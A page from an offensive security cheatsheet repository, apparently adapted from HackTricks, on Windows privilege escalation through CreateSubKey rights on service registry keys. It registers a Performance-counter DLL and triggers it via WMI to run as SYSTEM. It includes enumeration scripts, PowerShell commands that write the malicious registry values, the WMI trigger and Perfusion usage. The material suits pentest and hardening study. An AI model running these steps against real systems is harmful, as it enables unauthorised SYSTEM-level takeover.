daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

appenddata-addsubdirectory-permission-over-service-registry.md (7635B)


      1 ---
      2 title: "AppendData/AddSubdirectory Permission over Service Registry"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # AppendData/AddSubdirectory Permission over Service Registry
     14 
     15 **The original post is** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)<sup>[[3]](#references)</sup>
     16 
     17 ## Summary
     18 
     19 If you only have **`Create Subkey`** / **`AppendData/AddSubdirectory`** on a service registry key, this is still a good privesc lead. You usually **can't** overwrite `ImagePath`, `ServiceDll`, or other existing values directly, but you may still be able to create a **`Performance`** child key under:
     20 
     21 - **`HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`**
     22 - **`HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`**
     23 - Any other **`HKLM\SYSTEM\CurrentControlSet\Services\<service>`** key where your token has **`KEY_CREATE_SUB_KEY`**
     24 
     25 The trick is that Windows still supports the legacy **PerfLib V1** registration model. If a service has a **`Performance`** subkey, Windows can load a DLL from there when a performance counter consumer requests data.
     26 
     27 According to Microsoft documentation, the minimum registration is:<sup>[[1]](#references)</sup>
     28 
     29 ```text
     30 HKLM\SYSTEM\CurrentControlSet\Services\<service>\Performance
     31   Library = C:\Path\payload.dll
     32   Open    = OpenPerfData
     33   Collect = CollectPerfData
     34   Close   = ClosePerfData
     35 ```
     36 
     37 So the offensive takeaway is: **don't discard a service registry finding just because you only got `CreateSubKey` instead of `SetValue`**.<sup>[[3]](#references)</sup>
     38 
     39 ## Why this is enough for code execution
     40 
     41 The `Performance` subkey does **not** usually exist by default on these services, so **`KEY_CREATE_SUB_KEY`** is the primitive you need. Once the key exists and contains `Library`/`Open`/`Collect`/`Close`, any **performance counter consumer** can trigger the DLL load.<sup>[[3]](#references)</sup>
     42 
     43 A few important details:
     44 
     45 - The **`Library`** value can point to a **full DLL path**.
     46 - The DLL must export **`OpenPerfData`**, **`CollectPerfData`**, and **`ClosePerfData`** and return `ERROR_SUCCESS`.
     47 - The code runs in the **consumer's context**, **not necessarily in the vulnerable service process itself**.
     48 - In the classic `RpcEptMapper` / `Dnscache` case, a **WMI performance query** can make **`wmiprvse.exe`** load the DLL as **`NT AUTHORITY\SYSTEM`**.
     49 
     50 This is why the primitive is easy to miss during triage: the parent service key is not "fully writable", but it is still weaponizable.
     51 
     52 ## Quick enumeration
     53 
     54 Manual spot-check with **AccessChk**:
     55 
     56 ```bash
     57 accesschk.exe -k -w hklm\system\currentcontrolset\services\rpceptmapper
     58 accesschk.exe -k -w hklm\system\currentcontrolset\services\dnscache
     59 ```
     60 
     61 PowerShell example to look for low-privileged principals with **`CreateSubKey`** on service keys:
     62 
     63 ```powershell
     64 Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | ForEach-Object {
     65   $weak = (Get-Acl $_.PSPath).Access | Where-Object {
     66     $_.AccessControlType -eq 'Allow' -and
     67     ($_.RegistryRights -band [System.Security.AccessControl.RegistryRights]::CreateSubKey) -eq [System.Security.AccessControl.RegistryRights]::CreateSubKey -and
     68     $_.IdentityReference -match 'Users|Authenticated Users|INTERACTIVE|Network Configuration Operators'
     69   }
     70   if ($weak) {
     71     [pscustomobject]@{Service=$_.PSChildName; Principals=($weak.IdentityReference -join ', '); Rights=($weak.RegistryRights -join '; ')}
     72   }
     73 }
     74 ```
     75 
     76 Useful tooling:
     77 
     78 - **PrivescCheck**: `Get-ModifiableRegistryPath` was created specifically to spot this class of issue.<sup>[[3]](#references)</sup>
     79 - **SharpUp**: `SharpUp.exe audit ModifiableServiceRegistryKeys`
     80 - **Perfusion**: automates DLL drop, `Performance` registration, WMI trigger, token duplication, and cleanup on legacy vulnerable targets (for example: `Perfusion.exe -c cmd -i -k Dnscache`).<sup>[[4]](#references)</sup>
     81 
     82 ## Abuse flow
     83 
     84 Create the `Performance` subkey and populate the required values:<sup>[[3]](#references)</sup>
     85 
     86 ```powershell
     87 $svc = 'RpcEptMapper' # or Dnscache / NetBT / another vulnerable service
     88 $k = "HKLM:\SYSTEM\CurrentControlSet\Services\$svc\Performance"
     89 New-Item $k -Force | Out-Null
     90 New-ItemProperty $k -Name Library -Value "$pwd\payload.dll" -PropertyType String -Force | Out-Null
     91 New-ItemProperty $k -Name Open -Value 'OpenPerfData' -PropertyType String -Force | Out-Null
     92 New-ItemProperty $k -Name Collect -Value 'CollectPerfData' -PropertyType String -Force | Out-Null
     93 New-ItemProperty $k -Name Close -Value 'ClosePerfData' -PropertyType String -Force | Out-Null
     94 ```
     95 
     96 Then trigger a **privileged** performance consumer. A classic example is a WMI query over `Win32_Perf*` classes:<sup>[[3]](#references)</sup>
     97 
     98 ```powershell
     99 powershell.exe -NoProfile -Command "Get-WmiObject -List | Where-Object { $_.Name -like 'Win32_Perf*' } | Out-Null"
    100 ```
    101 
    102 Operational notes:
    103 
    104 - Launching **`perfmon.exe`** is useful to verify that the counter registration is correct, but that usually only loads the DLL in **your own user context**.
    105 - For an actual LPE, trigger a **privileged** consumer such as **WMI**.
    106 - If you are writing your own exploit, spawning `cmd.exe` directly from inside the DLL usually leaves you with a shell in **session 0**. `Perfusion` solves this by duplicating the privileged token into a process that was created suspended in the attacker's session.<sup>[[4]](#references)</sup>
    107 - Match the DLL architecture to the target consumer (**x64 on x64 systems**).
    108 
    109 ## Version notes / recent developments
    110 
    111 Historically, the built-in weak keys were:<sup>[[4]](#references)</sup>
    112 
    113 - **Windows 7 / Windows Server 2008 R2**: `RpcEptMapper` and `Dnscache`
    114 - **Windows 8 / Windows Server 2012**: `RpcEptMapper`
    115 
    116 `Perfusion` notes that the **April 2021** updates removed the easy exploitation path on updated **Windows 8 / Windows Server 2012**, while **Windows 7 / Windows Server 2008 R2** remained exploitable through **`Dnscache`**.<sup>[[4]](#references)</sup>
    117 
    118 This primitive is **not only historical**. In **January 2025**, Microsoft patched a related AD DS issue where members of **`Network Configuration Operators`** could create subkeys under **`Dnscache`** and **`NetBT`**, and the same **Performance-counter DLL registration** idea could be reused to reach **SYSTEM** on supported systems.<sup>[[2]](#references)</sup>
    119 
    120 So the modern lesson is generic: whenever a low-privileged principal has **`CreateSubKey`** on **`HKLM\SYSTEM\CurrentControlSet\Services\<service>`**, check whether a **`Performance`** child key is enough before dismissing the finding.
    121 
    122 ## References
    123 
    124 - [1] [Microsoft Learn - Creating the Application's Performance Key](https://learn.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key)
    125 - [2] [BirkeP - Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)](https://birkep.github.io/posts/Windows-LPE/)
    126 - [3] [itm4n - Windows RpcEptMapper Service Insecure Registry Permissions EoP](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
    127 - [4] [itm4n - Perfusion (exploit for the RpcEptMapper registry key permissions vulnerability)](https://github.com/itm4n/Perfusion)